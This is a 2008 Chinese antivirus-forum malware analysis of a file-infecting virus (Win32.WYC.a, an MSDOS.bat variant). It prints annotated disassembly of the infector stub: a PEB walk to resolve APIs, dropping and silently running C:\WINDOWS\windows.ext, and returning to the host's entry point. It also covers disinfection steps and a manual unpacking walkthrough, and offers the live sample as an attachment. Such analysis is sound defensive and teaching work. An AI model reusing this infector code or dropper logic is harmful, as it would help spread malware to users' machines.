轩辕小聪 - 2008-5-3 2:44:00
样本来源:
http://bbs.ikaka.com/showtopic-8501049.aspx性质:感染型病毒,MSDOS.bat变种,但是其中的病毒主体加了一个壳。
工具:IDA Pro.,OllyDbg(看雪版OllyICE),LordPE,ImportREC
分析内容:被感染文件中病毒代码分析、病毒主体文件所加壳的脱壳过程。
一、被感染文件中病毒代码分析
被感染文件最后的一个区段被改名为.WYCao段,在后面加入病毒代码内容,改入口点指向此段中。以下为IDA中的反汇编结果,我已经尽量注释清楚。
(1)从PEB得到kernel32.dll基址,遍历其输出表,得到GetProcAddress和LoadLibraryA两个API函数的地址。
.WYCao:01010F10
mov eax, large
fs:30h
; PEB.WYCao:01010F16
nop.WYCao:01010F17
nop.WYCao:01010F18
nop.WYCao:01010F19
nop.WYCao:01010F1A
mov eax, [
eax+0Ch]
; PEB.Ldr(PTR _PEB_LDR_DATA).WYCao:01010F1D
mov esi, [
eax+1Ch]
; Ldr->InInitializationOrderModuleList.Flink.WYCao:01010F1D
; 一个双向链表,链表该位置的Flink恰指向kernel32.dll的相应结构中.WYCao:01010F20
lodsd.WYCao:01010F21
mov edi, [
eax+8]
; kernel32.dll的_PEB_LDR_DATA结构中的EntryInProgress,模块基址.WYCao:01010F24
mov eax, [
edi+IMAGE_DOS_HEADER.e_lfanew]
; PE头偏移.WYCao:01010F27
mov edx, [
edi+
eax+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress]
; 输出表偏移.WYCao:01010F2B
add edx,
edi.WYCao:01010F2D
mov ecx, [
edx+_IMAGE_EXPORT_DIRECTORY.NumberOfNames]
; 以函数名调用的函数个数.WYCao:01010F30
mov ebx, [
edx+_IMAGE_EXPORT_DIRECTORY.AddressOfNames]
; 保存所有函数名的数组偏移.WYCao:01010F33
add ebx,
edi.WYCao:01010F35
.WYCao:01010F35 findbegin:
; CODE XREF: start+41j.WYCao:01010F35
; start+49j ....WYCao:01010F35
dec ecx.WYCao:01010F36
jz short findend
.WYCao:01010F38
mov esi, [
ebx+
ecx*4]
.WYCao:01010F3B
add esi,
edi.WYCao:01010F3D
cmp dword ptr [
esi+4], 41636F72h
; 'rocA'.WYCao:01010F44
jnz short findnext
.WYCao:01010F46
.WYCao:01010F46 GetAddressByNumber:
; CODE XREF: start+52j.WYCao:01010F46
mov eax, [
edx+_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
; 保存所有函数地址偏移的数组.WYCao:01010F49
add eax,
edi.WYCao:01010F4B
mov eax, [
eax+
ecx*4]
; 从AddressOfFunctions数组中根据当前序号值,得到API函数地址偏移.WYCao:01010F4E
add eax,
edi.WYCao:01010F50
push eax.WYCao:01010F51
jmp short findbegin
.WYCao:01010F53
; ---------------------------------------------------------------------------.WYCao:01010F53
.WYCao:01010F53 findnext:
; CODE XREF: start+34j.WYCao:01010F53
cmp dword ptr [
esi], 64616F4Ch
; 'Load'.WYCao:01010F59
jnz short findbegin
.WYCao:01010F5B
cmp dword ptr [
esi+8], 41797261h
; 'aryA'.WYCao:01010F62
jz short GetAddressByNumber
.WYCao:01010F64
jmp short findbegin
.WYCao:01010F66
; ---------------------------------------------------------------------------.WYCao:01010F66
.WYCao:01010F66 findend:
; CODE XREF: start+26j.WYCao:01010F66
pop ebx ; 遍历kernel32.dll输出表结束。此次堆栈.WYCao:01010F66
; [esp]==kernel32.dll!GetProcAddress.WYCao:01010F66
; [esp+4]==kernel32.dll!LoadLibraryA.WYCao:01010F66
;.WYCao:01010F66
; 因此,pop的结果:ebx=GetProcAddress.WYCao:01010F67
pop edx ; edx=LoadLibraryA.WYCao:01010F68
sub esp, 48h
.WYCao:01010F6B
mov ebp,
esp.WYCao:01010F6D
mov [
ebp+4],
ebx ; GetProcAddress.WYCao:01010F70
mov [
ebp+8],
edx ; LoadLibraryA用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; MAXTHON 2.0)
轩辕小聪 - 2008-5-3 2:48:00
(2)调用LoadLibraryA和GetProcAddress函数,得到所需的API函数的地址:
.WYCao:01010F73 push 0 ; 结束符
.WYCao:01010F75 push 6C6C642Eh ; .dll
.WYCao:01010F7A push 32336C65h ; 'el32'
.WYCao:01010F7F push 6E72656Bh ; 'kern'
.WYCao:01010F84 mov ecx, esp
.WYCao:01010F86 push ecx
.WYCao:01010F87 call dword ptr [ebp+8] ; LoadLibraryA('kernel32.dll')
.WYCao:01010F8A pop ecx ; 前面4个push,这里4个pop,保持堆栈平衡
.WYCao:01010F8B pop ecx
.WYCao:01010F8C pop ecx
.WYCao:01010F8D pop ecx
.WYCao:01010F8E mov [ebp+0Ch], eax ; kernel32.dll基址(句柄)
.WYCao:01010F91 push 0
.WYCao:01010F93 push 4179726Fh ; 'oryA'
.WYCao:01010F98 push 74636572h ; 'rect'
.WYCao:01010F9D push 69447377h ; 'wsDi'
.WYCao:01010FA2 push 6F646E69h ; 'indo'
.WYCao:01010FA7 push 57746547h ; 'GetW'
.WYCao:01010FAC mov ecx, esp
.WYCao:01010FAE push ecx
.WYCao:01010FAF push dword ptr [ebp+0Ch] ; kernel32.dll基址
.WYCao:01010FB2 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA')
.WYCao:01010FB5 pop ecx
.WYCao:01010FB6 pop ecx
.WYCao:01010FB7 pop ecx
.WYCao:01010FB8 pop ecx
.WYCao:01010FB9 pop ecx
.WYCao:01010FBA pop ecx
.WYCao:01010FBB mov [ebp+10h], eax ; kernel32.dll!GetWindowsDirectoryA
.WYCao:01010FBE push 41656Ch
.WYCao:01010FC3 push 69466574h
.WYCao:01010FC8 push 61657243h
.WYCao:01010FCD mov ecx, esp
.WYCao:01010FCF push ecx
.WYCao:01010FD0 push dword ptr [ebp+0Ch]
.WYCao:01010FD3 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA')
.WYCao:01010FD6 pop ecx
.WYCao:01010FD7 pop ecx
.WYCao:01010FD8 pop ecx
.WYCao:01010FD9 mov [ebp+14h], eax ; kernel32.dll!CreateFileA
.WYCao:01010FDC push 656C64h
.WYCao:01010FE1 push 6E614865h
.WYCao:01010FE6 push 736F6C43h
.WYCao:01010FEB mov ecx, esp
.WYCao:01010FED push ecx
.WYCao:01010FEE push dword ptr [ebp+0Ch]
.WYCao:01010FF1 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle')
.WYCao:01010FF4 pop ecx
.WYCao:01010FF5 pop ecx
.WYCao:01010FF6 pop ecx
.WYCao:01010FF7 mov [ebp+18h], eax ; kernel32.dll!CloseHandle
.WYCao:01010FFA push 0
.WYCao:01010FFC push 656C6946h
.WYCao:01011001 push 64616552h
.WYCao:01011006 mov ecx, esp
.WYCao:01011008 push ecx
.WYCao:01011009 push dword ptr [ebp+0Ch]
.WYCao:0101100C call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'ReadFile')
.WYCao:0101100F pop ecx
.WYCao:01011010 pop ecx
.WYCao:01011011 pop ecx
.WYCao:01011012 mov [ebp+1Ch], eax ; kernel32.dll!ReadFile
.WYCao:01011015 push 65h
.WYCao:01011017 push 6C694665h
.WYCao:0101101C push 74697257h
.WYCao:01011021 mov ecx, esp
.WYCao:01011023 push ecx
.WYCao:01011024 push dword ptr [ebp+0Ch]
.WYCao:01011027 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'WriteFile')
.WYCao:0101102A pop ecx
.WYCao:0101102B pop ecx
.WYCao:0101102C pop ecx
.WYCao:0101102D mov [ebp+20h], eax
.WYCao:01011030 push 7265h
.WYCao:01011035 push 746E696Fh
.WYCao:0101103A push 50656C69h
.WYCao:0101103F push 46746553h
.WYCao:01011044 mov ecx, esp
.WYCao:01011046 push ecx
.WYCao:01011047 push dword ptr [ebp+0Ch]
.WYCao:0101104A call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'SetFilePointer')
.WYCao:0101104D pop ecx
.WYCao:0101104E pop ecx
.WYCao:0101104F pop ecx
.WYCao:01011050 pop ecx
.WYCao:01011051 mov [ebp+24h], eax ; kernel32.dll!SetFilePointer
.WYCao:01011054 push 636F6Ch
.WYCao:01011059 push 6C416C61h
.WYCao:0101105E push 626F6C47h
.WYCao:01011063 mov ecx, esp
.WYCao:01011065 push ecx
.WYCao:01011066 push dword ptr [ebp+0Ch]
.WYCao:01011069 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GlobalAlloc')
.WYCao:0101106C pop ecx
.WYCao:0101106D pop ecx
.WYCao:0101106E pop ecx
.WYCao:0101106F mov [ebp+28h], eax ; kernel32.dll!GlobalAlloc
.WYCao:01011072 push 6565h
.WYCao:01011077 push 72466C61h
.WYCao:0101107C push 626F6C47h
.WYCao:01011081 mov ecx, esp
.WYCao:01011083 push ecx
.WYCao:01011084 push dword ptr [ebp+0Ch]
.WYCao:01011087 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GlobalFree')
.WYCao:0101108A pop ecx
.WYCao:0101108B pop ecx
.WYCao:0101108C pop ecx
.WYCao:0101108D mov [ebp+2Ch], eax ; kernel32.dll!GlobalFree
.WYCao:01011090 push 4165h
.WYCao:01011095 push 6D614E65h
.WYCao:0101109A push 6C694665h
.WYCao:0101109F push 6C75646Fh
.WYCao:010110A4 push 4D746547h
.WYCao:010110A9 mov ecx, esp
.WYCao:010110AB push ecx
.WYCao:010110AC push dword ptr [ebp+0Ch]
.WYCao:010110AF call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetModuleFileNameA')
.WYCao:010110B2 pop ecx
.WYCao:010110B3 pop ecx
.WYCao:010110B4 pop ecx
.WYCao:010110B5 pop ecx
.WYCao:010110B6 pop ecx
.WYCao:010110B7 mov [ebp+30h], eax ; kernel32.dll!GetModuleFileNameA
.WYCao:010110BA push 636578h
.WYCao:010110BF push 456E6957h
.WYCao:010110C4 mov ecx, esp
.WYCao:010110C6 push ecx
.WYCao:010110C7 push dword ptr [ebp+0Ch]
.WYCao:010110CA call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'WinExec')
.WYCao:010110CD pop ecx
.WYCao:010110CE pop ecx
.WYCao:010110CF mov [ebp+34h], eax ; kernel32.dll!WinExec
.WYCao:010110D2 push 0
.WYCao:010110D4 push 41746163h
.WYCao:010110D9 push 7274736Ch
.WYCao:010110DE mov ecx, esp
.WYCao:010110E0 push ecx
.WYCao:010110E1 push dword ptr [ebp+0Ch]
.WYCao:010110E4 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'lstrcatA')
.WYCao:010110E7 pop ecx
.WYCao:010110E8 pop ecx
.WYCao:010110E9 pop ecx
.WYCao:010110EA mov [ebp+48h], eax ; kernel32.dll!lstrcatA
(3)实际动作:
从自身文件中读出病毒主体的内容,写入新创建的windows.ext文件,并运行之,最后跳回原入口点。
.WYCao:010110ED push 12Ch
.WYCao:010110F2 push 40h
.WYCao:010110F4 call dword ptr [ebp+28h] ; GlobalAlloc(GPTR,0x12c)
.WYCao:010110F7 mov [ebp+38h], eax ; 申请到的内存空间首地址lpFileName
.WYCao:010110FA push 12Ch
.WYCao:010110FF push dword ptr [ebp+38h]
.WYCao:01011102 push 0
.WYCao:01011104 call dword ptr [ebp+30h] ; GetModuleFileName(0,lpFileName,0x12c)
.WYCao:01011107 push 0
.WYCao:01011109 push 80h
.WYCao:0101110E push 3
.WYCao:01011110 push 0
.WYCao:01011112 push 1
.WYCao:01011114 push 1
.WYCao:01011116 push dword ptr [ebp+38h]
.WYCao:01011119 call dword ptr [ebp+14h] ; CreateFileA(lpFileName,1,FILE_SHARE_READ,NULL,OPEN_EXISTING,NORMAL,NULL)
.WYCao:0101111C mov [ebp+3Ch], eax ; 自身文件句柄hfile
.WYCao:0101111F push 0
.WYCao:01011121 push 0
.WYCao:01011123 push 0D9CEh
.WYCao:01011128 push dword ptr [ebp+3Ch]
.WYCao:0101112B call dword ptr [ebp+24h] ; SetFilePointer(hfile,0xD9CE,NULL,FILE_BEGIN)
.WYCao:0101112E push 9000h
.WYCao:01011133 push 40h
.WYCao:01011135 call dword ptr [ebp+28h] ; GlobalAlloc(GPTR,0x9000)
.WYCao:01011138 mov [ebp+40h], eax ; 申请的内存空间首地址hmem
.WYCao:0101113B lea ecx, [ebp+44h]
.WYCao:0101113E push 0
.WYCao:01011140 push ecx
.WYCao:01011141 push 9000h
.WYCao:01011146 push dword ptr [ebp+40h]
.WYCao:01011149 push dword ptr [ebp+3Ch]
.WYCao:0101114C call dword ptr [ebp+1Ch] ; ReadFile(hfile,hmem,0x9000,ebp+44,0)
.WYCao:0101114C ; 将自身文件自0xD9CE开头始的0x9000处的内容(即病毒主体内容)读入内存
.WYCao:0101114F push dword ptr [ebp+3Ch]
.WYCao:01011152 call dword ptr [ebp+18h] ; CloseHandle(hfile)
.WYCao:01011155 push 12Ch
.WYCao:0101115A push dword ptr [ebp+38h]
.WYCao:0101115D call dword ptr [ebp+10h] ; GetWindowsDirectoryA(lpFileName,0x12c)
.WYCao:0101115D ; 得到系统WINDOWS文件夹路径
.WYCao:01011160 push 0
.WYCao:01011162 push 7478652Eh
.WYCao:01011167 push 73776F64h
.WYCao:0101116C push 6E69775Ch
.WYCao:01011171 mov ecx, esp
.WYCao:01011173 push ecx
.WYCao:01011174 push dword ptr [ebp+38h]
.WYCao:01011177 call dword ptr [ebp+48h] ; lstrcat(lpFileName,'\windows.ext')
.WYCao:01011177 ; 在得到的路径后面加入'\windows.ext'
.WYCao:0101117A pop ecx
.WYCao:0101117B pop ecx
.WYCao:0101117C pop ecx
.WYCao:0101117D pop ecx
.WYCao:0101117E push 0
.WYCao:01011180 push 80h
.WYCao:01011185 push 2
.WYCao:01011187 push 0
.WYCao:01011189 push 2
.WYCao:0101118B push 2
.WYCao:0101118D push dword ptr [ebp+38h]
.WYCao:01011190 call dword ptr [ebp+14h] ; CreateFileA(lpFileName,2,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NORMAL,NULL)
.WYCao:01011190 ; 此时lpFileName为'C:\WINDOWS\windows.ext'
.WYCao:01011190 ; 创建文件
.WYCao:01011193 mov [ebp+3Ch], eax ; hfile(此时为windows.ext的句柄)
.WYCao:01011196 lea ecx, [ebp+44h]
.WYCao:01011199 push 0
.WYCao:0101119B push ecx
.WYCao:0101119C push 9000h
.WYCao:010111A1 push dword ptr [ebp+40h]
.WYCao:010111A4 push dword ptr [ebp+3Ch]
.WYCao:010111A7 call dword ptr [ebp+20h] ; WriteFile(hfile,hmem,0x9000,ebp+44,0)
.WYCao:010111AA push dword ptr [ebp+3Ch]
.WYCao:010111AD call dword ptr [ebp+18h] ; CloseHandle(hfile)
.WYCao:010111B0 push 5
.WYCao:010111B2 push dword ptr [ebp+38h]
.WYCao:010111B5 call dword ptr [ebp+34h] ; WinExec(lpFileName,SW_HIDE)
.WYCao:010111B5 ; 运行被写入的windows.ext,隐藏程序窗口
.WYCao:010111B8 push dword ptr [ebp+38h]
.WYCao:010111BB call dword ptr [ebp+2Ch] ; GlobalFree(lpFileName)
.WYCao:010111BE push dword ptr [ebp+40h]
.WYCao:010111C1 call dword ptr [ebp+2Ch] ; GlobalFree(hmem)
.WYCao:010111C4 add esp, 48h ; 平栈
.WYCao:010111C7 mov ecx, offset sub_1005438 ; 原程序入口点
.WYCao:010111CC jmp ecx ; 跳入原程序入口点
轩辕小聪 - 2008-5-3 3:13:00
二、被感染文件修复方法:
从病毒代码跳到原入口点的代码入手:
.WYCao:010111C7 mov ecx, offset sub_1005438 ; 原程序入口点
.WYCao:010111CC jmp ecx ; 跳入原程序入口点
显然,程序入口点的位置就在01005438处,其中01000000为基址,00005438为入口点偏移。
这个病毒修复起来的问题是,它不是在原PE文件后面添加一个段,而是把最后一个区段改名为.WYCAO,并增大其体积,在后面写入内容。
实际上,最后一个区段原始的段名已经不可恢复(除非事先知道)。所以BS一下病毒作者……
将文件最后的0x10000字节去掉
.WYCAO段的VSize和RSize各减去0x10000
IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage-0x10000
IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint=0x00005438
另外针对这个软件,还有CheckSum,校验和需要修正,可以调用imagehlp!CheckSumMappedFile()来修正。
瑞星目前已可修复被感染文件,病毒名Win32.WYC.a。当然,瑞星也没有把最后一个区段的名字改回来。虽然就这个文件而言,我猜原本最后一个段是资源段,所以应该是.rsrc,但是一般地来说,由于被感染文件中没有保留原始段名的信息,原始的段名可以说是不能直接恢复了。
轩辕小聪 - 2008-5-3 4:15:00
三、病毒主体windows.ext部分脱壳
windows.ext脱壳后证实,的确是MSDOS.bat的变种,之前已被baohe等分析过,因此其行为不用再多说。
但是这一次,windows.ext加的壳比以前不同,所以下面说一下如何脱壳。
我的PEID版本可能过老,查壳结果:MPEG Layer II/III music file *
所以我是手脱的。
工具:OllyDbg(看雪版OllyICE),LordPE,ImportREC
(1)PE文件格式检查
用LordPE查看windows.ext(已改后缀为.exe)输入表
发现只有kernel32.dll的LoadLibraryA、GetProcAddress、VirtualAlloc、VirtualFree四个API
显然,它需要利用LoadLibraryA、GetProcAddress来填充原来的IAT。
(2)OD载入,尝试脱壳
13151000 >- E9 E0500F00 jmp 132460E5
132460E5 B8 F7600F00 mov eax, 0F60F7
132460EA BA 00001513 mov edx, 13150000 ; ASCII "MZ"
132460EF 03C2 add eax, edx
132460F1 FFE0 jmp eax
132460F7 60 pushad
132460F8 E8 00000000 call 132460FD
132460FD 5E pop esi
132460FE 83EE 0A sub esi, 0A
13246101 8B06 mov eax, dword ptr [esi]
13246103 03C2 add eax, edx
这个壳是一般的压缩壳。
对于壳来说,要判断这个壳的难易,要看看它有没有anti-debug的陷阱,二是有没有对IAT进行加密。
于是我尝试对LoadLibraryA和GetProcAddress下断。由于输入表中有这两个函数,说明壳代码还是需要调用这两个函数的。
而一般壳的流程,是先解密区块数据,然后再通过LoadLibraryA和GetProcAddress来填充IAT。所以在这两个函数下断,跑回来之后,就可以发现壳程序填充IAT的代码了。
对这两个函数下断,F9运行,停在LoadLibraryA处,堆栈窗口:
0012FF60 132461D9 /CALL 到 LoadLibraryA 来自 windows.132461D7
0012FF64 00481B69 \FileName = "advapi32.dll"
显然在准备填充IAT。Alt+F9回用户领空:
132461D9 8BE8 mov ebp, eax ; advapi32.77DA0000
再上滚一下,就可以看到这个填充IAT的函数的整个流程了:
132461CB 55 push ebp
132461CC AD lods dword ptr [esi]
132461CD 85C0 test eax, eax ; 检测原esi处是否为0
132461CF 74 37 je short 13246208 ; 是说明遍历dll字符的工作结束,填充IAT结束,跳出
132461D1 8BF8 mov edi, eax
132461D3 033C24 add edi, dword ptr [esp]
132461D6 56 push esi ; dll名字符串
132461D7 FF13 call dword ptr [ebx] ; LoadLibraryA
132461D9 8BE8 mov ebp, eax ; dll基址
132461DB AC lods byte ptr [esi]
132461DC 84C0 test al, al
132461DE ^ 75 FB jnz short 132461DB ; 跳过这个字符串
132461E0 AD lods dword ptr [esi]
132461E1 85C0 test eax, eax
132461E3 ^ 74 E7 je short 132461CC ; API函数名称字符串是否完结,是则跳回去取下个dll名
132461E5 83EE 04 sub esi, 4
132461E8 AD lods dword ptr [esi]
132461E9 A9 00000080 test eax, 80000000 ; eax>80000000,则说明是通过序号取的,否则是通过API函数名
132461EE 75 0B jnz short 132461FB ; 通过序号取的
132461F0 83EE 04 sub esi, 4
132461F3 56 push esi ; API函数名字符串
132461F4 55 push ebp ; dll基址
132461F5 FF53 04 call dword ptr [ebx+4] ; GetProcAddress
132461F8 AB stos dword ptr es:[edi] ; 相当于mov dword ptr [edi],eax;add edi,4,即把函数地址写入edi处,说明edi处就是IAT表相应位置
132461F9 ^ EB E0 jmp short 132461DB ; 取下一个API函数
132461FB 25 FFFFFF7F and eax, 7FFFFFFF ; 以序号取的跳到这里,eax-80000000变成真正的序号
13246200 50 push eax
13246201 55 push ebp ; dll基址
13246202 FF53 04 call dword ptr [ebx+4] ; GetProcAddress
13246205 AB stos dword ptr es:[edi] ; 同上
13246206 ^ EB D8 jmp short 132461E0 ; 取下一个API函数(由于前一个是序号,所以这里直接过4字节)
13246208 5D pop ebp ; 填充完所有IAT,跳到这里
13246209 5F pop edi
1324620A C3 retn
可以看到,壳并没有对IAT加密。
从壳填充IAT的语句上看,原始IAT从13151000开始。
壳完成填充IAT后,跳到13246208处。
于是,现在禁用对LoadLibraryA和GetProcAddress的断点,在13246208处F2下断,F9运行,跑了几秒(壳填充IAT),断下了。F2取消断点,继续单步:
13246208 5D pop ebp ; 填充完所有IAT,跳到这里
13246209 5F pop edi
1324620A C3 retn
这个retn是直接跳入了VirtualFree
进入VirtualFree:
7C809AE4 > 8BFF mov edi, edi
7C809AE6 55 push ebp
7C809AE7 8BEC mov ebp, esp
7C809AE9 FF75 10 push dword ptr [ebp+10]
7C809AEC FF75 0C push dword ptr [ebp+C]
7C809AEF FF75 08 push dword ptr [ebp+8]
7C809AF2 6A FF push -1
7C809AF4 E8 09000000 call VirtualFreeEx
7C809AF9 5D pop ebp
7C809AFA C2 0C00 retn 0C
释放掉之前申请的内存。
在这里转了三圈(连续free掉3块内存)后,又跳回开头位置:
132460E4 61 popad
132460E5 B8 604D0000 mov eax, 4D60
132460EA BA 00001513 mov edx, 13150000 ; ASCII "MZ"
132460EF 03C2 add eax, edx
132460F1 FFE0 jmp eax ; 跳入OEP,13154D60
这里就到了OEP:
13154D60 B8 782F0000 mov eax, 2F78
13154D65 E8 76070000 call 131554E0
13154D6A 8D4424 00 lea eax, dword ptr [esp]
13154D6E 56 push esi
13154D6F 50 push eax
13154D70 68 3F000F00 push 0F003F
13154D75 6A 00 push 0
13154D77 68 0C151513 push 1315150C ; ASCII "SYSTEM\CurrentControlSet\Services\BITS"
13154D7C 68 02000080 push 80000002
13154D81 FF15 08101513 call dword ptr [13151008] ; advapi32.RegOpenKeyExA
用LordPE把windows.exe的映像文件完整转存,然后使用ImportREC修复IAT(直接填入入口点偏移4D60,AutoSearch即可找到原始IAT,Get Imports后直接fix dump)
(3)快速脱壳1:ESP定律
当看到壳前面有pushad,最后有popad,而且这个壳在整个过程中又“顺风顺水”,既没有anti-debug,也没有加密IAT,说明是一个一般压缩壳。
对照pushad前和popad后的ESP指针,发现是一致的。
说明我们可以用ESP定律快速脱。
重新载入(之前的LoadLibraryA和GetProcAddress函数断点如果没有禁用,禁用之),单步到这里:
132460F7 60 pushad ; esp突变,下硬件断点
132460F8 E8 00000000 call 132460FD
pushad后,ESP突变,记下ESP值(我这里为0012FFA4),命令行hr下硬件断点。
然后直接F9!
你会发现又回来这个界面了,这次停在最上面:
132460E5 B8 604D0000 mov eax, 4D60
132460EA BA 00001513 mov edx, 13150000 ; ASCII "MZ"
132460EF 03C2 add eax, edx
132460F1 FFE0 jmp eax ; 跳入OEP,13154D60
就这样就到OEP了。
(4)快速脱壳2:直接F4
通过(3),你可能发现了,其实壳程序最后还是从最初这个地方进入OEP。
只不过,最初这个位置上:
132460E5 B8 F7600F00 mov eax, 0F60F7
而最后被壳程序修改成了:
132460E5 B8 604D0000 mov eax, 4D60
所以这下简单了:
重新载入(注意取消(3)时设置的硬件断点)
与(3)一样,在到这里:
132460F7 60 pushad ; esp突变,下硬件断点
132460F8 E8 00000000 call 132460FD
直接上翻看到
132460F1 FFE0 jmp eax ; 跳入OEP,13154D60
在这里直接F4一下!停在这里了,F8,到OEP了。
脱壳后证实这个病毒主体是MSDOS.bat变种,因此不再仔细分析了。
写这个帖子,目的是为了让大家了解对感染型病毒进行处理的全过程,其中涉及了脱壳、反汇编的内容,希望对大家的学习提高有帮助。
轩辕小聪 - 2008-5-3 4:22:00
附件windows.rar,密码virus,文件列表:
windows.exe:原始windows.ext
windows_u.exe:跑到OEP后,由LordPE转存下来的映像文件
windows_u_.exe:ImportREC修复windows_u.exe得到的最终文件(未经其他优化处理)
附件:
windows.rar
zengjie5927 - 2008-5-3 12:54:00
学习了!:kaka1:
★蓝色羽毛★ - 2008-5-6 22:11:00
学习了,不过没有一定的编程基础是很难看懂的
御剑乘风 - 2008-5-23 23:54:00
貌似不能下载附件 ~~~
中分 - 2008-10-8 13:20:00
想来学学这方面的,,看不懂..呵呵,,不知道学这样的要学哪些课程.
© 2000 - 2025 Rising Corp. Ltd.